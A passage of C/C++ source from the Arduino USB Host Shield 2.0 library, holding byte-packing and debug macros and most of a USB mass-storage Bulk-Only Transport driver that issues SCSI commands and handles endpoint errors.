#define BGRAB2(__usi__) ((uint8_t)(((__usi__) >> 16) & 0xff)) #define BGRAB3(__usi__) ((uint8_t)(((__usi__) >> 24) & 0xff)) #define BGRAB4(__usi__) ((uint8_t)(((__usi__) >> 32) & 0xff)) #define BGRAB5(__usi__) ((uint8_t)(((__usi__) >> 40) & 0xff)) #define BGRAB6(__usi__) ((uint8_t)(((__usi__) >> 48) & 0xff)) #define BGRAB7(__usi__) ((uint8_t)(((__usi__) >> 56) & 0xff)) #endif #define BOVER1(__usi__) ((uint16_t)(__usi__) << 8) #define BOVER2(__usi__) ((uint32_t)(__usi__) << 16) #define BOVER3(__usi__) ((uint32_t)(__usi__) << 24) #define BOVER4(__usi__) ((uint64_t)(__usi__) << 32) #define BOVER5(__usi__) ((uint64_t)(__usi__) << 40) #define BOVER6(__usi__) ((uint64_t)(__usi__) << 48) #define BOVER7(__usi__) ((uint64_t)(__usi__) << 56) // These are the smallest and fastest ways I have found so far in pure C/C++. #define BMAKE16(__usc1__,__usc0__) ((uint16_t)((uint16_t)(__usc0__) | (uint16_t)BOVER1(__usc1__))) #define BMAKE32(__usc3__,__usc2__,__usc1__,__usc0__) ((uint32_t)((uint32_t)(__usc0__) | (uint32_t)BOVER1(__usc1__) | (uint32_t)BOVER2(__usc2__) | (uint32_t)BOVER3(__usc3__))) #define BMAKE64(__usc7__,__usc6__,__usc5__,__usc4__,__usc3__,__usc2__,__usc1__,__usc0__) ((uint64_t)((uint64_t)__usc0__ | (uint64_t)BOVER1(__usc1__) | (uint64_t)BOVER2(__usc2__) | (uint64_t)BOVER3(__usc3__) | (uint64_t)BOVER4(__usc4__) | (uint64_t)BOVER5(__usc5__) | (uint64_t)BOVER6(__usc6__) | (uint64_t)BOVER1(__usc7__))) #endif /* * Debug macros: Strings are stored in progmem (flash) instead of RAM. */ #define USBTRACE(s) (Notify(PSTR(s), 0x80)) #define USBTRACE1(s,l) (Notify(PSTR(s), l)) #define USBTRACE2(s,r) (Notify(PSTR(s), 0x80), D_PrintHex((r), 0x80), Notify(PSTR("\r\n"), 0x80)) #define USBTRACE3(s,r,l) (Notify(PSTR(s), l), D_PrintHex((r), l), Notify(PSTR("\r\n"), l)) #endif /* MACROS_H */ ================================================ FILE: libraries/USB_Host_Shield_2.0/masstorage.cpp ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #include "masstorage.h" const uint8_t BulkOnly::epDataInIndex = 1; const uint8_t BulkOnly::epDataOutIndex = 2; const uint8_t BulkOnly::epInterruptInIndex = 3; //////////////////////////////////////////////////////////////////////////////// // Interface code //////////////////////////////////////////////////////////////////////////////// /** * Get the capacity of the media * * @param lun Logical Unit Number * @return media capacity */ uint32_t BulkOnly::GetCapacity(uint8_t lun) { if(LUNOk[lun]) return CurrentCapacity[lun]; return 0LU; } /** * Get the sector (block) size used on the media * * @param lun Logical Unit Number * @return media sector size */ uint16_t BulkOnly::GetSectorSize(uint8_t lun) { if(LUNOk[lun]) return CurrentSectorSize[lun]; return 0U; } /** * Test if LUN is ready for use * * @param lun Logical Unit Number * @return true if LUN is ready for use */ bool BulkOnly::LUNIsGood(uint8_t lun) { return LUNOk[lun]; } /** * Test if LUN is write protected * * @param lun Logical Unit Number * @return cached status of write protect switch */ bool BulkOnly::WriteProtected(uint8_t lun) { return WriteOk[lun]; } /** * Wrap and execute a SCSI CDB with length of 6 * * @param cdb CDB to execute * @param buf_size Size of expected transaction * @param buf Buffer * @param dir MASS_CMD_DIR_IN | MASS_CMD_DIR_OUT * @return */ uint8_t BulkOnly::SCSITransaction6(CDB6_t *cdb, uint16_t buf_size, void *buf, uint8_t dir) { // promote buf_size to 32bits. CommandBlockWrapper cbw = CommandBlockWrapper(++dCBWTag, (uint32_t)buf_size, cdb, dir); //SetCurLUN(cdb->LUN); return (HandleSCSIError(Transaction(&cbw, buf_size, buf))); } /** * Wrap and execute a SCSI CDB with length of 10 * * @param cdb CDB to execute * @param buf_size Size of expected transaction * @param buf Buffer * @param dir MASS_CMD_DIR_IN | MASS_CMD_DIR_OUT * @return */ uint8_t BulkOnly::SCSITransaction10(CDB10_t *cdb, uint16_t buf_size, void *buf, uint8_t dir) { // promote buf_size to 32bits. CommandBlockWrapper cbw = CommandBlockWrapper(++dCBWTag, (uint32_t)buf_size, cdb, dir); //SetCurLUN(cdb->LUN); return (HandleSCSIError(Transaction(&cbw, buf_size, buf))); } /** * Lock or Unlock the tray or door on device. * Caution: Some devices with buggy firmware will lock up. * * @param lun Logical Unit Number * @param lock 1 to lock, 0 to unlock * @return */ uint8_t BulkOnly::LockMedia(uint8_t lun, uint8_t lock) { Notify(PSTR("\r\nLockMedia\r\n"), 0x80); Notify(PSTR("---------\r\n"), 0x80); CDB6_t cdb = CDB6_t(SCSI_CMD_PREVENT_REMOVAL, lun, (uint8_t)0, lock); return SCSITransaction6(&cdb, (uint16_t)0, NULL, (uint8_t)MASS_CMD_DIR_IN); } /** * Media control, for spindle motor and media tray or door. * This includes CDROM, TAPE and anything with a media loader. * * @param lun Logical Unit Number * @param ctl 0x00 Stop Motor, 0x01 Start Motor, 0x02 Eject Media, 0x03 Load Media * @return 0 on success */ uint8_t BulkOnly::MediaCTL(uint8_t lun, uint8_t ctl) { Notify(PSTR("\r\nMediaCTL\r\n"), 0x80); Notify(PSTR("-----------------\r\n"), 0x80); uint8_t rcode = MASS_ERR_UNIT_NOT_READY; if(bAddress) { CDB6_t cdb = CDB6_t(SCSI_CMD_START_STOP_UNIT, lun, ctl & 0x03, 0); rcode = SCSITransaction6(&cdb, (uint16_t)0, NULL, (uint8_t)MASS_CMD_DIR_OUT); } else { SetCurLUN(lun); } return rcode; } /** * Read data from media * * @param lun Logical Unit Number * @param addr LBA address on media to read * @param bsize size of a block (we should probably use the cached size) * @param blocks how many blocks to read * @param buf memory that is able to hold the requested data * @return 0 on success */ uint8_t BulkOnly::Read(uint8_t lun, uint32_t addr, uint16_t bsize, uint8_t blocks, uint8_t *buf) { if(!LUNOk[lun]) return MASS_ERR_NO_MEDIA; Notify(PSTR("\r\nRead LUN:\t"), 0x80); D_PrintHex (lun, 0x90); Notify(PSTR("\r\nLBA:\t\t"), 0x90); D_PrintHex (addr, 0x90); Notify(PSTR("\r\nblocks:\t\t"), 0x90); D_PrintHex (blocks, 0x90); Notify(PSTR("\r\nblock size:\t"), 0x90); D_PrintHex (bsize, 0x90); Notify(PSTR("\r\n---------\r\n"), 0x80); CDB10_t cdb = CDB10_t(SCSI_CMD_READ_10, lun, blocks, addr); again: uint8_t er = SCSITransaction10(&cdb, ((uint16_t)bsize * blocks), buf, (uint8_t)MASS_CMD_DIR_IN); if(er == MASS_ERR_STALL) { MediaCTL(lun, 1); delay(150); if(!TestUnitReady(lun)) goto again; } return er; } /** * Write data to media * * @param lun Logical Unit Number * @param addr LBA address on media to write * @param bsize size of a block (we should probably use the cached size) * @param blocks how many blocks to write * @param buf memory that contains the data to write * @return 0 on success */ uint8_t BulkOnly::Write(uint8_t lun, uint32_t addr, uint16_t bsize, uint8_t blocks, const uint8_t * buf) { if(!LUNOk[lun]) return MASS_ERR_NO_MEDIA; if(!WriteOk[lun]) return MASS_ERR_WRITE_PROTECTED; Notify(PSTR("\r\nWrite LUN:\t"), 0x80); D_PrintHex (lun, 0x90); Notify(PSTR("\r\nLBA:\t\t"), 0x90); D_PrintHex (addr, 0x90); Notify(PSTR("\r\nblocks:\t\t"), 0x90); D_PrintHex (blocks, 0x90); Notify(PSTR("\r\nblock size:\t"), 0x90); D_PrintHex (bsize, 0x90); Notify(PSTR("\r\n---------\r\n"), 0x80); CDB10_t cdb = CDB10_t(SCSI_CMD_WRITE_10, lun, blocks, addr); again: uint8_t er = SCSITransaction10(&cdb, ((uint16_t)bsize * blocks), (void*)buf, (uint8_t)MASS_CMD_DIR_OUT); if(er == MASS_ERR_WRITE_STALL) { MediaCTL(lun, 1); delay(150); if(!TestUnitReady(lun)) goto again; } return er; } // End of user functions, the remaining code below is driver internals. // Only developer serviceable parts below! //////////////////////////////////////////////////////////////////////////////// // Main driver code //////////////////////////////////////////////////////////////////////////////// BulkOnly::BulkOnly(USB *p) : pUsb(p), bAddress(0), bIface(0), bNumEP(1), qNextPollTime(0), bPollEnable(false), //dCBWTag(0), bLastUsbError(0) { ClearAllEP(); dCBWTag = 0; if(pUsb) pUsb->RegisterDeviceClass(this); } /** * USB_ERROR_CONFIG_REQUIRES_ADDITIONAL_RESET == success * We need to standardize either the rcode, or change the API to return values * so a signal that additional actions are required can be produced. * Some of these codes do exist already. * * TECHNICAL: We could do most of this code elsewhere, with the exception of checking the class instance. * Doing so would save some program memory when using multiple drivers. * * @param parent USB address of parent * @param port address of port on parent * @param lowspeed true if device is low speed * @return */ uint8_t BulkOnly::ConfigureDevice(uint8_t parent, uint8_t port, bool lowspeed) { const uint8_t constBufSize = sizeof (USB_DEVICE_DESCRIPTOR); uint8_t buf[constBufSize]; USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast(buf); uint8_t rcode; UsbDevice *p = NULL; EpInfo *oldep_ptr = NULL; USBTRACE("MS ConfigureDevice\r\n"); ClearAllEP(); AddressPool &addrPool = pUsb->GetAddressPool(); if(bAddress) return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE; // // Get pointer to pseudo device with address 0 assigned p = addrPool.GetUsbDevicePtr(0); if(!p) { return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; } if(!p->epinfo) { USBTRACE("epinfo\r\n"); return USB_ERROR_EPINFO_IS_NULL; } // Save old pointer to EP_RECORD of address 0 oldep_ptr = p->epinfo; // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence p->epinfo = epInfo; p->lowspeed = lowspeed; // Get device descriptor rcode = pUsb->getDevDescr(0, 0, constBufSize, (uint8_t*)buf); // Restore p->epinfo p->epinfo = oldep_ptr; if(rcode) { goto FailGetDevDescr; } // Allocate new address according to device class bAddress = addrPool.AllocAddress(parent, false, port); if(!bAddress) return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL; // Extract Max Packet Size from the device descriptor epInfo[0].maxPktSize = udd->bMaxPacketSize0; // Steal and abuse from epInfo structure to save on memory. epInfo[1].epAddr = udd->bNumConfigurations; // return USB_ERROR_CONFIG_REQUIRES_ADDITIONAL_RESET; FailGetDevDescr: #ifdef DEBUG_USB_HOST NotifyFailGetDevDescr(rcode); #endif rcode = USB_ERROR_FailGetDevDescr; Release(); return rcode; }; /** * * @param parent (not used) * @param port (not used) * @param lowspeed true if device is low speed * @return 0 for success */ uint8_t BulkOnly::Init(uint8_t parent __attribute__((unused)), uint8_t port __attribute__((unused)), bool lowspeed) { uint8_t rcode; uint8_t num_of_conf = epInfo[1].epAddr; // number of configurations epInfo[1].epAddr = 0; USBTRACE("MS Init\r\n"); AddressPool &addrPool = pUsb->GetAddressPool(); UsbDevice *p = addrPool.GetUsbDevicePtr(bAddress); if(!p) return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; // Assign new address to the device delay(2000); rcode = pUsb->setAddr(0, 0, bAddress); if(rcode) { p->lowspeed = false; addrPool.FreeAddress(bAddress); bAddress = 0; USBTRACE2("setAddr:", rcode); return rcode; } USBTRACE2("Addr:", bAddress); p->lowspeed = false; p = addrPool.GetUsbDevicePtr(bAddress); if(!p) return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; p->lowspeed = lowspeed; // Assign epInfo to epinfo pointer rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo); if(rcode) goto FailSetDevTblEntry; USBTRACE2("NC:", num_of_conf); for(uint8_t i = 0; i < num_of_conf; i++) { ConfigDescParser< USB_CLASS_MASS_STORAGE, MASS_SUBCLASS_SCSI, MASS_PROTO_BBB, CP_MASK_COMPARE_CLASS | CP_MASK_COMPARE_SUBCLASS | CP_MASK_COMPARE_PROTOCOL > BulkOnlyParser(this); rcode = pUsb->getConfDescr(bAddress, 0, i, &BulkOnlyParser); if(rcode) goto FailGetConfDescr; if(bNumEP > 1) break; } if(bNumEP < 3) return USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED; // Assign epInfo to epinfo pointer pUsb->setEpInfoEntry(bAddress, bNumEP, epInfo); USBTRACE2("Conf:", bConfNum); // Set Configuration Value rcode = pUsb->setConf(bAddress, 0, bConfNum); if(rcode) goto FailSetConfDescr; //Linux does a 1sec delay after this. delay(1000); rcode = GetMaxLUN(&bMaxLUN); if(rcode) goto FailGetMaxLUN; if(bMaxLUN >= MASS_MAX_SUPPORTED_LUN) bMaxLUN = MASS_MAX_SUPPORTED_LUN - 1; ErrorMessage (PSTR("MaxLUN"), bMaxLUN); delay(1000); // Delay a bit for slow firmware. for(uint8_t lun = 0; lun <= bMaxLUN; lun++) { InquiryResponse response; rcode = Inquiry(lun, sizeof (InquiryResponse), (uint8_t*) & response); if(rcode) { ErrorMessage (PSTR("Inquiry"), rcode); } else { #if 0 printf("LUN %i `", lun); uint8_t *buf = response.VendorID; for(int i = 0; i < 28; i++) printf("%c", buf[i]); printf("'\r\nQualifier %1.1X ", response.PeripheralQualifier); printf("Device type %2.2X ", response.DeviceType); printf("RMB %1.1X ", response.Removable); printf("SSCS %1.1X ", response.SCCS); uint8_t sv = response.Version; printf("SCSI version %2.2X\r\nDevice conforms to ", sv); switch(sv) { case 0: printf("No specific"); break; case 1: printf("ANSI X3.131-1986 (ANSI 1)"); break; case 2: printf("ANSI X3.131-1994 (ANSI 2)"); break; case 3: printf("ANSI INCITS 301-1997 (SPC)"); break; case 4: printf("ANSI INCITS 351-2001 (SPC-2)"); break; case 5: printf("ANSI INCITS 408-2005 (SPC-4)"); break; case 6: printf("T10/1731-D (SPC-4)"); break; default: printf("unknown"); } printf(" standards.\r\n"); #endif uint8_t tries = 0xf0; while((rcode = TestUnitReady(lun))) { if(rcode == 0x08) break; // break on no media, this is OK to do. // try to lock media and spin up if(tries < 14) { LockMedia(lun, 1); MediaCTL(lun, 1); // I actually have a USB stick that needs this! } else delay(2 * (tries + 1)); tries++; if(!tries) break; } if(!rcode) { delay(1000); LUNOk[lun] = CheckLUN(lun); if(!LUNOk[lun]) LUNOk[lun] = CheckLUN(lun); } } } CheckMedia(); rcode = OnInit(); if(rcode) goto FailOnInit; #ifdef DEBUG_USB_HOST USBTRACE("MS configured\r\n\r\n"); #endif bPollEnable = true; //USBTRACE("Poll enabled\r\n"); return 0; FailSetConfDescr: #ifdef DEBUG_USB_HOST NotifyFailSetConfDescr(); goto Fail; #endif FailOnInit: #ifdef DEBUG_USB_HOST USBTRACE("OnInit:"); goto Fail; #endif FailGetMaxLUN: #ifdef DEBUG_USB_HOST USBTRACE("GetMaxLUN:"); goto Fail; #endif //#ifdef DEBUG_USB_HOST //FailInvalidSectorSize: // USBTRACE("Sector Size is NOT VALID: "); // goto Fail; //#endif FailSetDevTblEntry: #ifdef DEBUG_USB_HOST NotifyFailSetDevTblEntry(); goto Fail; #endif FailGetConfDescr: #ifdef DEBUG_USB_HOST NotifyFailGetConfDescr(); #endif #ifdef DEBUG_USB_HOST Fail: NotifyFail(rcode); #endif Release(); return rcode; } /** * For driver use only. * * @param conf * @param iface * @param alt * @param proto * @param pep */ void BulkOnly::EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto __attribute__((unused)), const USB_ENDPOINT_DESCRIPTOR * pep) { ErrorMessage (PSTR("Conf.Val"), conf); ErrorMessage (PSTR("Iface Num"), iface); ErrorMessage (PSTR("Alt.Set"), alt); bConfNum = conf; uint8_t index; #if 1 if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_BULK) { index = ((pep->bEndpointAddress & 0x80) == 0x80) ? epDataInIndex : epDataOutIndex; // Fill in the endpoint info structure epInfo[index].epAddr = (pep->bEndpointAddress & 0x0F); epInfo[index].maxPktSize = (uint8_t)pep->wMaxPacketSize; epInfo[index].bmSndToggle = 0; epInfo[index].bmRcvToggle = 0; bNumEP++; PrintEndpointDescriptor(pep); } #else if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_INTERRUPT && (pep->bEndpointAddress & 0x80) == 0x80) index = epInterruptInIndex; else if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_BULK) index = ((pep->bEndpointAddress & 0x80) == 0x80) ? epDataInIndex : epDataOutIndex; else return; // Fill in the endpoint info structure epInfo[index].epAddr = (pep->bEndpointAddress & 0x0F); epInfo[index].maxPktSize = (uint8_t)pep->wMaxPacketSize; epInfo[index].bmSndToggle = 0; epInfo[index].bmRcvToggle = 0; bNumEP++; PrintEndpointDescriptor(pep); #endif } /** * For driver use only. * * @return */ uint8_t BulkOnly::Release() { ClearAllEP(); pUsb->GetAddressPool().FreeAddress(bAddress); return 0; } /** * For driver use only. * * @param lun Logical Unit Number * @return true if LUN is ready for use. */ bool BulkOnly::CheckLUN(uint8_t lun) { uint8_t rcode; Capacity capacity; for(uint8_t i = 0; i < 8; i++) capacity.data[i] = 0; rcode = ReadCapacity10(lun, (uint8_t*)capacity.data); if(rcode) { //printf(">>>>>>>>>>>>>>>>ReadCapacity returned %i\r\n", rcode); return false; } ErrorMessage (PSTR(">>>>>>>>>>>>>>>>CAPACITY OK ON LUN"), lun); for(uint8_t i = 0; i < 8 /*sizeof (Capacity)*/; i++) D_PrintHex (capacity.data[i], 0x80); Notify(PSTR("\r\n\r\n"), 0x80); // Only 512/1024/2048/4096 are valid values! uint32_t c = BMAKE32(capacity.data[4], capacity.data[5], capacity.data[6], capacity.data[7]); if(c != 0x0200LU && c != 0x0400LU && c != 0x0800LU && c != 0x1000LU) { return false; } // Store capacity information. CurrentSectorSize[lun] = (uint16_t)(c); // & 0xFFFF); CurrentCapacity[lun] = BMAKE32(capacity.data[0], capacity.data[1], capacity.data[2], capacity.data[3]) + 1; if(CurrentCapacity[lun] == /*0xffffffffLU */ 0x01LU || CurrentCapacity[lun] == 0x00LU) { // Buggy firmware will report 0xffffffff or 0 for no media if(CurrentCapacity[lun]) ErrorMessage (PSTR(">>>>>>>>>>>>>>>>BUGGY FIRMWARE. CAPACITY FAIL ON LUN"), lun); return false; } delay(20); Page3F(lun); if(!TestUnitReady(lun)) return true; return false; } /** * For driver use only. * * Scan for media change on all LUNs */ void BulkOnly::CheckMedia() { for(uint8_t lun = 0; lun <= bMaxLUN; lun++) { if(TestUnitReady(lun)) { LUNOk[lun] = false; continue; } if(!LUNOk[lun]) LUNOk[lun] = CheckLUN(lun); } #if 0 printf("}}}}}}}}}}}}}}}}STATUS "); for(uint8_t lun = 0; lun <= bMaxLUN; lun++) { if(LUNOk[lun]) printf("#"); else printf("."); } printf("\r\n"); #endif qNextPollTime = (uint32_t)millis() + 2000; } /** * For driver use only. * * @return */ uint8_t BulkOnly::Poll() { //uint8_t rcode = 0; if(!bPollEnable) return 0; if((int32_t)((uint32_t)millis() - qNextPollTime) >= 0L) { CheckMedia(); } //rcode = 0; return 0; } //////////////////////////////////////////////////////////////////////////////// // SCSI code //////////////////////////////////////////////////////////////////////////////// /** * For driver use only. * * @param plun * @return */ uint8_t BulkOnly::GetMaxLUN(uint8_t *plun) { uint8_t ret = pUsb->ctrlReq(bAddress, 0, bmREQ_MASSIN, MASS_REQ_GET_MAX_LUN, 0, 0, bIface, 1, 1, plun, NULL); if(ret == hrSTALL) *plun = 0; return 0; } /** * For driver use only. Used during Driver Init * * @param lun Logical Unit Number * @param bsize * @param buf * @return */ uint8_t BulkOnly::Inquiry(uint8_t lun, uint16_t bsize, uint8_t *buf) { Notify(PSTR("\r\nInquiry\r\n"), 0x80); Notify(PSTR("---------\r\n"), 0x80); CDB6_t cdb = CDB6_t(SCSI_CMD_INQUIRY, lun, 0LU, (uint8_t)bsize, 0); uint8_t rc = SCSITransaction6(&cdb, bsize, buf, (uint8_t)MASS_CMD_DIR_IN); return rc; } /** * For driver use only. * * @param lun Logical Unit Number * @return */ uint8_t BulkOnly::TestUnitReady(uint8_t lun) { //SetCurLUN(lun); if(!bAddress) return MASS_ERR_UNIT_NOT_READY; Notify(PSTR("\r\nTestUnitReady\r\n"), 0x80); Notify(PSTR("-----------------\r\n"), 0x80); CDB6_t cdb = CDB6_t(SCSI_CMD_TEST_UNIT_READY, lun, (uint8_t)0, 0); return SCSITransaction6(&cdb, 0, NULL, (uint8_t)MASS_CMD_DIR_IN); } /** * For driver use only. * * @param lun Logical Unit Number * @param pc * @param page * @param subpage * @param len * @param pbuf * @return */ uint8_t BulkOnly::ModeSense6(uint8_t lun, uint8_t pc, uint8_t page, uint8_t subpage, uint8_t len, uint8_t * pbuf) { Notify(PSTR("\r\rModeSense\r\n"), 0x80); Notify(PSTR("------------\r\n"), 0x80); CDB6_t cdb = CDB6_t(SCSI_CMD_MODE_SENSE_6, lun, (uint32_t)((((pc << 6) | page) << 8) | subpage), len, 0); return SCSITransaction6(&cdb, len, pbuf, (uint8_t)MASS_CMD_DIR_IN); } /** * For driver use only. * * @param lun Logical Unit Number * @param bsize * @param buf * @return */ uint8_t BulkOnly::ReadCapacity10(uint8_t lun, uint8_t *buf) { Notify(PSTR("\r\nReadCapacity\r\n"), 0x80); Notify(PSTR("---------------\r\n"), 0x80); CDB10_t cdb = CDB10_t(SCSI_CMD_READ_CAPACITY_10, lun); return SCSITransaction10(&cdb, 8, buf, (uint8_t)MASS_CMD_DIR_IN); } /** * For driver use only. * * Page 3F contains write protect status. * * @param lun Logical Unit Number to test. * @return Write protect switch status. */ uint8_t BulkOnly::Page3F(uint8_t lun) { uint8_t buf[192]; for(int i = 0; i < 192; i++) { buf[i] = 0x00; } WriteOk[lun] = true; uint8_t rc = ModeSense6(lun, 0, 0x3f, 0, 192, buf); if(!rc) { WriteOk[lun] = ((buf[2] & 0x80) == 0); Notify(PSTR("Mode Sense: "), 0x80); for(int i = 0; i < 4; i++) { D_PrintHex (buf[i], 0x80); Notify(PSTR(" "), 0x80); } Notify(PSTR("\r\n"), 0x80); } return rc; } /** * For driver use only. * * @param lun Logical Unit Number * @param size * @param buf * @return */ uint8_t BulkOnly::RequestSense(uint8_t lun, uint16_t size, uint8_t *buf) { Notify(PSTR("\r\nRequestSense\r\n"), 0x80); Notify(PSTR("----------------\r\n"), 0x80); CDB6_t cdb = CDB6_t(SCSI_CMD_REQUEST_SENSE, lun, 0LU, (uint8_t)size, 0); CommandBlockWrapper cbw = CommandBlockWrapper(++dCBWTag, (uint32_t)size, &cdb, (uint8_t)MASS_CMD_DIR_IN); //SetCurLUN(lun); return Transaction(&cbw, size, buf); } //////////////////////////////////////////////////////////////////////////////// // USB code //////////////////////////////////////////////////////////////////////////////// /** * For driver use only. * * @param index * @return */ uint8_t BulkOnly::ClearEpHalt(uint8_t index) { if(index == 0) return 0; uint8_t ret = 0; while((ret = (pUsb->ctrlReq(bAddress, 0, USB_SETUP_HOST_TO_DEVICE | USB_SETUP_TYPE_STANDARD | USB_SETUP_RECIPIENT_ENDPOINT, USB_REQUEST_CLEAR_FEATURE, USB_FEATURE_ENDPOINT_HALT, 0, ((index == epDataInIndex) ? (0x80 | epInfo[index].epAddr) : epInfo[index].epAddr), 0, 0, NULL, NULL)) == 0x01)) delay(6); if(ret) { ErrorMessage (PSTR("ClearEpHalt"), ret); ErrorMessage (PSTR("EP"), ((index == epDataInIndex) ? (0x80 | epInfo[index].epAddr) : epInfo[index].epAddr)); return ret; } epInfo[index].bmSndToggle = 0; epInfo[index].bmRcvToggle = 0; return 0; } /** * For driver use only. * */ void BulkOnly::Reset() { while(pUsb->ctrlReq(bAddress, 0, bmREQ_MASSOUT, MASS_REQ_BOMSR, 0, 0, bIface, 0, 0, NULL, NULL) == 0x01) delay(6); } /** * For driver use only. * * @return 0 if successful */ uint8_t BulkOnly::ResetRecovery() { Notify(PSTR("\r\nResetRecovery\r\n"), 0x80); Notify(PSTR("-----------------\r\n"), 0x80); delay(6); Reset(); delay(6); ClearEpHalt(epDataInIndex); delay(6); bLastUsbError = ClearEpHalt(epDataOutIndex); delay(6); return bLastUsbError; } /** * For driver use only. * * Clear all EP data and clear all LUN status */ void BulkOnly::ClearAllEP() { for(uint8_t i = 0; i < MASS_MAX_ENDPOINTS; i++) { epInfo[i].epAddr = 0; epInfo[i].maxPktSize = (i) ? 0 : 8; epInfo[i].bmSndToggle = 0; epInfo[i].bmRcvToggle = 0; epInfo[i].bmNakPower = USB_NAK_DEFAULT; } for(uint8_t i = 0; i < MASS_MAX_SUPPORTED_LUN; i++) { LUNOk[i] = false; WriteOk[i] = false; CurrentCapacity[i] = 0lu; CurrentSectorSize[i] = 0; } bIface = 0; bNumEP = 1; bAddress = 0; qNextPollTime = 0; bPollEnable = false; bLastUsbError = 0; bMaxLUN = 0; bTheLUN = 0; } /** * For driver use only. * * @param pcsw * @param pcbw * @return */ bool BulkOnly::IsValidCSW(CommandStatusWrapper *pcsw, CommandBlockWrapperBase *pcbw) { if(pcsw->dCSWSignature != MASS_CSW_SIGNATURE) { Notify(PSTR("CSW:Sig error\r\n"), 0x80); return false; } if(pcsw->dCSWTag != pcbw->dCBWTag) { Notify(PSTR("CSW:Wrong tag\r\n"), 0x80); return false; } return true; } /** * For driver use only. * * @param error * @param index * @return */ uint8_t BulkOnly::HandleUsbError(uint8_t error, uint8_t index) { uint8_t count = 3; bLastUsbError = error; //if (error) //ClearEpHalt(index); while(error && count) { if(error != hrSUCCESS) { ErrorMessage (PSTR("USB Error"), error); ErrorMessage (PSTR("Index"), index); } switch(error) { // case hrWRONGPID: case hrSUCCESS: return MASS_ERR_SUCCESS; case hrBUSY: // SIE is busy, just hang out and try again. return MASS_ERR_UNIT_BUSY; case hrTIMEOUT: case hrJERR: return MASS_ERR_DEVICE_DISCONNECTED; case hrSTALL: if(index == 0) return MASS_ERR_STALL; ClearEpHalt(index); if(index != epDataInIndex) return MASS_ERR_WRITE_STALL; return MASS_ERR_STALL; case hrNAK: if(index == 0) return MASS_ERR_UNIT_BUSY; return MASS_ERR_UNIT_BUSY; case hrTOGERR: // Handle a very super rare corner case, where toggles become de-synched. // I have only ran into one device that has this firmware bug, and this is // the only clean way to get back into sync with the buggy device firmware. // --AJK if(bAddress && bConfNum) { error = pUsb->setConf(bAddress, 0, bConfNum); if(error) break; } return MASS_ERR_SUCCESS; default: ErrorMessage (PSTR("\r\nUSB"), error); return MASS_ERR_GENERAL_USB_ERROR; } count--; } // while return ((error && !count) ? MASS_ERR_GENERAL_USB_ERROR : MASS_ERR_SUCCESS); } #if MS_WANT_PARSER uint8_t BulkOnly::Transaction(CommandBlockWrapper *pcbw, uint16_t buf_size, void *buf) { return Transaction(CommandBlockWrapper *pcbw, uint16_t buf_size, void *buf, 0); } #endif /** * For driver use only. * * @param pcbw * @param buf_size * @param buf * @param flags * @return */ uint8_t BulkOnly::Transaction(CommandBlockWrapper *pcbw, uint16_t buf_size, void *buf #if MS_WANT_PARSER , uint8_t flags #endif ) { #if MS_WANT_PARSER uint16_t bytes = (pcbw->dCBWDataTransferLength > buf_size) ? buf_size : pcbw->dCBWDataTransferLength; printf("Transfersize %i\r\n", bytes); delay(1000); bool callback = (flags & MASS_TRANS_FLG_CALLBACK) == MASS_TRANS_FLG_CALLBACK; #else uint16_t bytes = buf_size; #endif bool write = (pcbw->bmCBWFlags & MASS_CMD_DIR_IN) != MASS_CMD_DIR_IN; uint8_t ret = 0; uint8_t usberr; CommandStatusWrapper csw; // up here, we allocate ahead to save cpu cycles. SetCurLUN(pcbw->bmCBWLUN); ErrorMessage (PSTR("CBW.dCBWTag"), pcbw->dCBWTag); while((usberr = pUsb->outTransfer(bAddress, epInfo[epDataOutIndex].epAddr, sizeof (CommandBlockWrapper), (uint8_t*)pcbw)) == hrBUSY) delay(1); ret = HandleUsbError(usberr, epDataOutIndex); //ret = HandleUsbError(pUsb->outTransfer(bAddress, epInfo[epDataOutIndex].epAddr, sizeof (CommandBlockWrapper), (uint8_t*)pcbw), epDataOutIndex); if(ret) { ErrorMessage (PSTR("============================ CBW"), ret); } else { if(bytes) { if(!write) { #if MS_WANT_PARSER if(callback) { uint8_t rbuf[bytes]; while((usberr = pUsb->inTransfer(bAddress, epInfo[epDataInIndex].epAddr, &bytes, rbuf)) == hrBUSY) delay(1); if(usberr == hrSUCCESS) ((USBReadParser*)buf)->Parse(bytes, rbuf, 0); } else { #endif while((usberr = pUsb->inTransfer(bAddress, epInfo[epDataInIndex].epAddr, &bytes, (uint8_t*)buf)) == hrBUSY) delay(1); #if MS_WANT_PARSER } #endif ret = HandleUsbError(usberr, epDataInIndex); } else { while((usberr = pUsb->outTransfer(bAddress, epInfo[epDataOutIndex].epAddr, bytes, (uint8_t*)buf)) == hrBUSY) delay(1); ret = HandleUsbError(usberr, epDataOutIndex); } if(ret) { ErrorMessage (PSTR("============================ DAT"), ret); } } } { bytes = sizeof (CommandStatusWrapper); int tries = 2; while(tries--) { while((usberr = pUsb->inTransfer(bAddress, epInfo[epDataInIndex].epAddr, &bytes, (uint8_t*) & csw)) == hrBUSY) delay(1); if(!usberr) break; ClearEpHalt(epDataInIndex); if(tries) ResetRecovery(); } if(!ret) { Notify(PSTR("CBW:\t\tOK\r\n"), 